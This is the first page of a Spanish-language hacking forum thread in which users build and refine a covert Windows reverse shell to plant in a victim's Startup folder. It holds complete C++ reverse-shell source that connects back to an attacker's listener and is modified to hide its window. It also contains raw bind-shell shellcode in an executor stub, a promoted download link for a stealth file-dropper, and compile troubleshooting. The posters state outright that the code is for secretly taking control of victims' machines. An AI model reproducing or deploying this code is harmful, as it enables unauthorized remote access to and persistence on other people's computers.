Páginas: [1] 2
|
 |
|
Autor
|
Tema: Ocultar Programa Reverse Shell (Leído 5404 veces)
|
Gospel
Colaborador
Desconectado
Mensajes: 1.592
|
Wola La idea es esta. Supongamos q yo, atacante, consigo colocar un cierto *.exe en C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio de una víctima. Ese *.exe no es más q un código en C++ cuya función es devolver una reverse shell a una IP y puerto remotos específicos: Reverse Shell by Adik#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32")
void main(int argc, char *argv[]) { WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(4949); adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1"); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); ExitProcess(0);
} Cuando la víctima inicia Windows, se ejecuta este *.exe y si yo, atacante, tengo el nc en escucha en el puerto 4949, entonces me es devuelta una reverse shell remota. El problema es q desde q el ejecutable se inicia hasta q finaliza la conexión remota, a la víctima le aparece una ventana de msdos bastante cantosa. Aquí es donde entra mi duda: como puedo ocultar la ejecución de este programa *.exe?? 1) Paso de andar jugando con bats, me interesa q subir únicamente un archivo a la víctima. 2) Por algo de experiencia, se me ha ocurrido q podría desarrollar una pequeña aplicación en Visual Basic, cuyo Form se mantuviera oculto y q creara un proceso de ejecución de este *.exe. De esta forma, se colocaría en Inicio el programita de Visual Basic y al ser ejecutado no aparecería ninguna ventana, se devolvería la reverse shell al atacante y la víctima no se pisparía de nada. El problema es q estaríamos en las mismas, necesito subir el *.exe y el programita de Visual Basic q lo llama. 3) Ya q estoy tratando con un código de C++, tb se me ha ocurrido modificar el propio código para q cuando el *.exe sea ejecutado, aparezca una ventana de formulario invisible y q, a su vez, se ejecute por detrás la parte de código de Reverse Shell. El problema es q no tengo ni idea de C++ y he estado buscando ejemplos de códigos para crear ventanas pero no entiendo nada. Bien, esta idea es factible de ser desarrollada en C++?? Tenéis alguna sugerencia para resolver esta situación?? Por simple q parezca, puede resultar útil, asi q estoy abierto a cualquier idea... Salu2
|
|
|
|
|
En línea
|
|
|
|
|
|
Gospel
Colaborador
Desconectado
Mensajes: 1.592
|
Muchas gracias por la info. Sin embargo, no he hecho muchos progresos... He creado un nuevo proyecto Win32 Aplication en mi VisualC++ y le he añadido el siguiente *.cpp #include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32")
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(4949); adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1"); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); ExitProcess(0);
return 0; } Es decir, compila y crea el ejecutable como si fuera una aplicación GUI, y no una aplicación de consola. Ejecuto el *.exe pero no recibo la shell, es decir, no se ejecuta el contenido del programa. Al cabo de un rato, parpadea una nueva ventana de msdos, q supongo q será pq el programa casca. Sobre est q dijo Potato: bueno un truquillo si no quieres hacer una aplicacion gui pero no quieres mostrar una ventana de consola, una vez compilado cambia el valor de subsystem (de la cabecera PE) que estara a 3 (aplicacion de consola) por 2 (gui) y no saldra la ventana. Lo único q he encontrao he sido esta referencia: http://fravia.anticrack.de/covert1.htmComenta q puedes dumpear las cabeceras de un *.exe con una utilidad dumpbin . De hecho, aparece esto durante un volcado, q es a lo q él se refiere cuando dice q hay q cambiar el 3 de mi programa Reverse Shell por un 2. 2 subsystem (Windows GUI) Bueno, a ver si sois tan amables de darme alguna pista más... Gracias Salu2
|
|
|
|
|
En línea
|
|
|
|
pinkfeet
Desconectado
Mensajes: 7
¡Amo YaBB SE!
|
Gospel que hay hombre, yo quise hacer esto mismo y lo logré pasándole al dwFlags de STARTUPINFO el STARTF_USESTDHANDLES pa "empipar" el input/output al socket (como ya sabras) y STARTF_USESHOWWINDOW pa mostrar o no la ventana. Luego pasé si.wShowWindow = SW_HIDE pa k no se muestre. Total k keda asin: si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; bueno a ve si te va eso, por cierto lo compilé con el dev-c++ como GUI, lo de los pragmas era pa visual-c++ no ?. kreo k se comentó algo deso por aki, yo incluí -lws2_32 en las opsiones del compilador y ya. suerT tio, Salu2
|
|
|
|
|
En línea
|
|
|
|
Gospel
Colaborador
Desconectado
Mensajes: 1.592
|
Buah, muchas gracias pinkfeet!!! Va de lujo y no aparece la ventana. El código ha quedado finalmente así: #include <winsock2.h> #include <stdio.h>
int main(int argc, char *argv[]) { WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(4949); adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1"); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); //si.dwFlags = STARTF_USESTDHANDLES; si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;// si.wShowWindow = SW_HIDE;// si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); ExitProcess(0);
} Lo he tenido q compilar con el Dev-C++ pq con el Visual C++ no me lo compilaba en modo ventana Este programilla de reverse shell es una maravilla. Primera aplicación: lo dejas en la carpeta Inicio de una víctima y cuando reinicie, se conecta al nc en escucha del atacante. En la víctima no aparece ninguna ventana, y lo más de puta madre es q en la ventana de procesos sólo aparece ejecutándose el cmd.exe q es devuelto en CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); De todas formas, aunq ya te digo q en este programa en concreto me ha funcionado la modificación q tú me has dicho, estaría interesado en generalizarlo para otros programas. Es decir, generalizar la manera de ocultar la ventana del proceso de ejecución del programa C++... Un ejemplo de esto q te comento, sería por ejemplo ocultar la ventana de ejecución del programa q ejecuta la siguiente shellcode q deja escuchando una shell en el puerto 9191 de la víctima: char scode[] = { 0xEB,0x03,0x5D,0xEB,0x05,0xE8,0xF8,0xFF,0xFF,0xFF,0x8B,0xC5,0x83,0xC0,0x11,0x33,0xC9,0x66,0xB9, 0xC9,0x01,0x80,0x30,0x88,0x40,0xE2,0xFA, 0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAB, 0x6F, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88 };
int main(int argc, char **argv) { int (*funct)(); funct = (int (*)()) scode; (int)(*funct)(); } Gracias Salu2
|
|
|
|
« Última modificación: 22 Septiembre 2004, 04:05 por Gospel »
|
En línea
|
|
|
|
DarkIk£r
Desconectado
Mensajes: 19
|
Bueno aunque ya a pasado mucho tiempo desde la ultima respuesta a este tema e de mostrarte algo que puede que te interese, es un programa bastante pequeño que funciona a las mil maravillas y obre todo logra us cometido que es el de poenr archivos en el computador de la victima sin que esta se de cuenta, el programa se llama "Executer" y es bastante bueno pue spor que lo hize yo  si quieres lo peudes descargar en http://www.Drox-Org.tk/Exec.zip,es muy facil de usar y viene con todo y el programa que lo configura y por su tamaño es menos sospechoso que otros programas.
|
|
|
|
|
En línea
|
|
|
|
sch3m4
Colaborador
Desconectado
Mensajes: 1.596
Nihil est in intelectu quod prius not fuerit insen
|
puedes ocultar la ventana añadiendo este código C/C++ al inicio de la función main: ShowWindow(GetForegroundWindow(),SW_HIDE);
No veo buena la idea de hacer lo de Visual Basic ya que añadiría un tamaño considerable al ejecutable.
|
|
|
|
« Última modificación: 01 Agosto 2005, 02:27 por Lympex »
|
En línea
|
OpenSec
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
|
|
SlenX
Desconectado
Mensajes: 71
¿ De verdad existe ?
|
Buenas he hecho un programa bastante interesante pero que me gustaria que no saliera la ventana ms-dos por que molesta bastante.... El caso es que si pongo si.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; me da unos errores 7 C:\Documents and Settings\SlenX\Escritorio\SinNombre1.c `si' undeclared (first use in this function) y mas como estos, estoy seguro que puede ser por la librería lws2_32 ya que no me identifica esas funciones, pero parece ser que no la tengo, tengo el dev c++, Gospel como tu has conseguido compilar un programa de esta manera me gustaría que me dijeras como lo has hecho  Gracias y un saludo!
|
|
|
|
|
En línea
|
|
|
|
sch3m4
Colaborador
Desconectado
Mensajes: 1.596
Nihil est in intelectu quod prius not fuerit insen
|
la librería del socket es "libws2_32" y en VC++ es "ws2_32" Si no te reconoce la variable "si" es porque no la has declarado. Si mal no recuerdo, sería STARTUPINFO si;
|
|
|
|
|
En línea
|
OpenSec
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
SlenX
Desconectado
Mensajes: 71
¿ De verdad existe ?
|
Muchas gracias Lympex, ya lo he conseguido como tu decías, solo he tenido que hacer #include <winsock2.h> y luego declarar la variable, y me ha compilado bien todo, pero me las ventanas se me siguen abriendo, aunque puede ser porque mi programa llama a otros cmd's... nose lo que hacer  Gracias
|
|
|
|
|
En línea
|
|
|
|
pacopero
Desconectado
Mensajes: 5
|
Ya se que ni os acordareis de que iba el hilo pero es simple: me instale dev-c++ hice un proyecto consola y pastee exactamente lo que gospel ha puesto como codigo definitivo, y al compilar me da estos errores: Compilador: Default compiler Building Makefile: "C:\Dev-Cpp\p1\Makefile.win" Ejecutando make clean rm -f main.o Proyecto1_private.res Proyecto1.exe
g++.exe -c main.cpp -o main.o -I"C:/Dev-Cpp/include/c++/3.3.1" -I"C:/Dev-Cpp/include/c++/3.3.1/mingw32" -I"C:/Dev-Cpp/include/c++/3.3.1/backward" -I"C:/Dev-Cpp/lib/gcc-lib/mingw32/3.3.1/include" -I"C:/Dev-Cpp/include"
main.cpp: In function `int main(int, char**)':
main.cpp:15: warning: passing NULL used for non-pointer argument passing 3 of ` SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, unsigned int, long unsigned int)' main.cpp:15: warning: argument to non-pointer type `int' from NULL main.cpp:15: warning: passing NULL used for non-pointer argument passing 5 of ` SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, unsigned int, long unsigned int)' main.cpp:15: warning: argument to non-pointer type `unsigned int' from NULL main.cpp:15: warning: passing NULL used for non-pointer argument passing 6 of ` SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, unsigned int, long unsigned int)' main.cpp:15: warning: argument to non-pointer type `long unsigned int' from NULL
main.cpp:25: warning: passing NULL used for non-pointer argument passing 6 of ` BOOL CreateProcessA(const CHAR*, CHAR*, _SECURITY_ATTRIBUTES*, _SECURITY_ATTRIBUTES*, int, long unsigned int, void*, const CHAR*, _STARTUPINFOA*, _PROCESS_INFORMATION*)' main.cpp:25: warning: argument to non-pointer type `long unsigned int' from NULL
main.cpp:28:2: warning: no newline at end of file
windres.exe -i Proyecto1_private.rc --input-format=rc -o Proyecto1_private.res -O coff
g++.exe main.o Proyecto1_private.res -o "Proyecto1.exe" -L"C:/Dev-Cpp/lib"
main.o(.text+0x85):main.cpp: undefined reference to `WSAStartup@8' main.o(.text+0xbc):main.cpp: undefined reference to `WSASocketA@24' main.o(.text+0xda):main.cpp: undefined reference to `htons@4' main.o(.text+0xf0):main.cpp: undefined reference to `inet_addr@4' main.o(.text+0x119):main.cpp: undefined reference to `connect@12'
make.exe: *** [Proyecto1.exe] Error 1
Ejecución Terminada
|
|
|
|
|
En línea
|
|
|
|
sch3m4
Colaborador
Desconectado
Mensajes: 1.596
Nihil est in intelectu quod prius not fuerit insen
|
linkea a libws2_32.a
|
|
|
|
|
En línea
|
OpenSec
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
pacopero
Desconectado
Mensajes: 5
|
Lympex, perdona pero esque no entiendo eso de linkea a libws2_32.a Puedes explicarte un poquillo mas?yo solo estoy puesto en java y c++ hace pecha que no lo veo. gracias anticipadas por responder tan rapido 
|
|
|
|
|
En línea
|
|
|
|
pacopero
Desconectado
Mensajes: 5
|
En las opciones del compilador en la de link, he puesto solo esto libws2_32.a (sin guion ni nada) y parece ser que me ha eliminado un error, ya solo me queda el otro  gracias Lympex, a ver si este ultimo alguien sabe de que puede ser, y prometo no postear mas dudas  Compilador: Default compiler Building Makefile: "C:\Dev-Cpp\p1\Makefile.win" Ejecutando make clean rm -f main.o Proyecto1_private.res Proyecto1.exe
g++.exe -c main.cpp -o main.o -I"C:/Dev-Cpp/include/c++/3.3.1" -I"C:/Dev-Cpp/include/c++/3.3.1/mingw32" -I"C:/Dev-Cpp/include/c++/3.3.1/backward" -I"C:/Dev-Cpp/lib/gcc-lib/mingw32/3.3.1/include" -I"C:/Dev-Cpp/include"
main.cpp: In function `int main(int, char**)':
main.cpp:16: warning: passing NULL used for non-pointer argument passing 3 of ` SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, unsigned int, long unsigned int)' main.cpp:16: warning: argument to non-pointer type `int' from NULL main.cpp:16: warning: passing NULL used for non-pointer argument passing 5 of ` SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, unsigned int, long unsigned int)' main.cpp:16: warning: argument to non-pointer type `unsigned int' from NULL main.cpp:16: warning: passing NULL used for non-pointer argument passing 6 of ` SOCKET WSASocketA(int, int, int, _WSAPROTOCOL_INFOA*, unsigned int, long unsigned int)' main.cpp:16: warning: argument to non-pointer type `long unsigned int' from NULL main.cpp:26: warning: passing NULL used for non-pointer argument passing 6 of ` BOOL CreateProcessA(const CHAR*, CHAR*, _SECURITY_ATTRIBUTES*, _SECURITY_ATTRIBUTES*, int, long unsigned int, void*, const CHAR*, _STARTUPINFOA*, _PROCESS_INFORMATION*)' main.cpp:26: warning: argument to non-pointer type `long unsigned int' from NULL
windres.exe -i Proyecto1_private.rc --input-format=rc -o Proyecto1_private.res -O coff
g++.exe main.o Proyecto1_private.res -o "Proyecto1.exe" -L"C:/Dev-Cpp/lib" libws2_32.a
g++.exe: libws2_32.a: No such file or directory
make.exe: *** [Proyecto1.exe] Error 1
Ejecución Terminada
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1] 2
|
|
|
|